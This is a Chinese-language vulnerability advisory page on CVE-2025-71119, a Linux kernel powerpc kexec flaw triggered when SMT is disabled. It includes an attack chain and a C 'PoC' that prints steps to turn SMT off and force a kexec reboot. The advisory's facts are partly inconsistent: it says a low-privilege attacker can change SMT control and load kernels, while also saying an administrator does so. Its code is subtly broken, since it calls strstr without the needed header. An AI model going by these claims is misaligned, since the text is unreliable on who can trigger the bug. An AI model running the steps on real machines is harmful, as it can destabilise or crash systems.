IPBUF安全漏洞报告
English
CVE-2025-71119 CVSS 5.5 中危

Linux kernel powerpc kexec本地拒绝服务漏洞(CVE-2025-71119)

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71119
漏洞类型
本地拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel (powerpc架构)

相关标签

Linux kernelpowerpckexec本地拒绝服务SMTCVE-2025-71119内核漏洞架构特定漏洞

漏洞概述

CVE-2025-71119是Linux内核中存在于powerpc架构kexec功能的一个本地拒绝服务漏洞。该漏洞发生在系统启用SMT(同步多线程)但处于禁用或部分启用状态时,当管理员尝试加载新内核镜像进行kexec重启操作会触发此问题。具体表现为内核警告信息"kexec: Waking offline cpu",并伴随add_cpu()函数执行失败,导致系统可能进入不稳定状态或崩溃。漏洞的根本原因在于kexec_prepare_cpus函数在尝试唤醒离线CPU时,未能正确处理SMT状态配置,导致cpu_bootable()对特定CPU返回false值。此漏洞需要低权限本地用户配合特定系统配置(禁用SMT或部分启用SMT)才能触发,CVSS评分5.5,属于中等严重程度。

技术细节

漏洞根源位于Linux内核arch/powerpc/kexec/core_64.c文件的kexec_prepare_cpus函数(第223行附近)。当系统SMT状态异常时,该函数的add_cpu()调用会失败,原因是cpu_bootable()对那些不满足cpu_smt_thread_allowed()检查的CPU或非主线程返回false值。触发条件包括:1)SMT被完全禁用;2)系统处于部分SMT启用状态。当执行kexec加载新内核镜像时,内核尝试唤醒所有present状态的CPU,但由于上述检查失败,导致警告被触发。漏洞利用需要攻击者具备本地低权限访问权限,并能够修改系统SMT配置。攻击成功后将导致内核警告信息输出,可能造成系统暂时性不稳定,严重情况下可能引发内核崩溃。修复方案是在唤醒所有CPU之前,先启用SMT并重置SMT线程数到每核心线程数,确保所有CPU处于可启动状态。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地低权限访问权限
STEP 2
步骤2
确认系统为powerpc架构且SMT处于禁用或部分启用状态
STEP 3
步骤3
通过修改/sys/devices/system/cpu/smt/control将SMT设置为off状态
STEP 4
步骤4
准备新内核镜像:执行kexec -l加载新内核到内存
STEP 5
步骤5
触发kexec重启:执行reboot或kexec -e命令
STEP 6
步骤6
内核kexec_prepare_cpus函数尝试唤醒所有离线CPU时触发漏洞
STEP 7
步骤7
cpu_bootable()检查失败,add_cpu()返回错误,触发内核警告并可能导致系统崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71119 PoC - Local DoS via kexec on powerpc with SMT disabled // This PoC demonstrates the condition that triggers the vulnerability // Requirements: powerpc architecture, SMT disabled or partially enabled #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/reboot.h> int main() { printf("[*] CVE-2025-71119 Trigger PoC\n"); printf("[*] Target: Linux kernel powerpc kexec with SMT disabled\n\n"); // Check if running on powerpc FILE *cpuinfo = fopen("/proc/cpuinfo", "r"); if (!cpuinfo) { printf("[-] Cannot open /proc/cpuinfo\n"); return 1; } char line[256]; int is_powerpc = 0; while (fgets(line, sizeof(line), cpuinfo)) { if (strstr(line, "powerpc") || strstr(line, "ppc")) { is_powerpc = 1; break; } } fclose(cpuinfo); if (!is_powerpc) { printf("[-] Not running on PowerPC architecture\n"); printf("[-] This vulnerability only affects PowerPC systems\n"); return 1; } printf("[+] Running on PowerPC architecture\n"); // Check SMT status FILE *smt_file = fopen("/sys/devices/system/cpu/smt/active", "r"); if (smt_file) { char smt_status[8]; if (fgets(smt_status, sizeof(smt_status), smt_file)) { printf("[*] SMT status: %s", smt_status); } fclose(smt_file); } printf("\n[*] To trigger this vulnerability:\n"); printf(" 1. Disable SMT: echo off > /sys/devices/system/cpu/smt/control\n"); printf(" 2. Load new kernel: kexec -l /boot/vmlinuz-new --initrd=/boot/initrd.img-new\n"); printf(" 3. Trigger kexec: reboot or kexec -e\n"); printf(" 4. Observe warning in dmesg: 'kexec: Waking offline cpu XXX'\n\n"); printf("[*] Expected result: Kernel warning at arch/powerpc/kexec/core_64.c\n"); printf("[*] Impact: Local DoS - system instability or crash during kexec reboot\n"); return 0; }

影响范围

Linux kernel 6.6 < 6.6.55
Linux kernel 6.11 < 6.11.8
Linux kernel 6.12 < 6.12.1
Linux kernel mainline < 6.13-rc4

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)避免在powerpc架构系统上执行kexec操作;2)确保SMT保持完全启用状态,不要将其设置为off或partial状态;3)监控系统日志(dmesg)中的kexec相关警告信息;4)在非关键生产环境中测试kexec功能;5)考虑使用传统的系统重启方式替代kexec快速重启。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表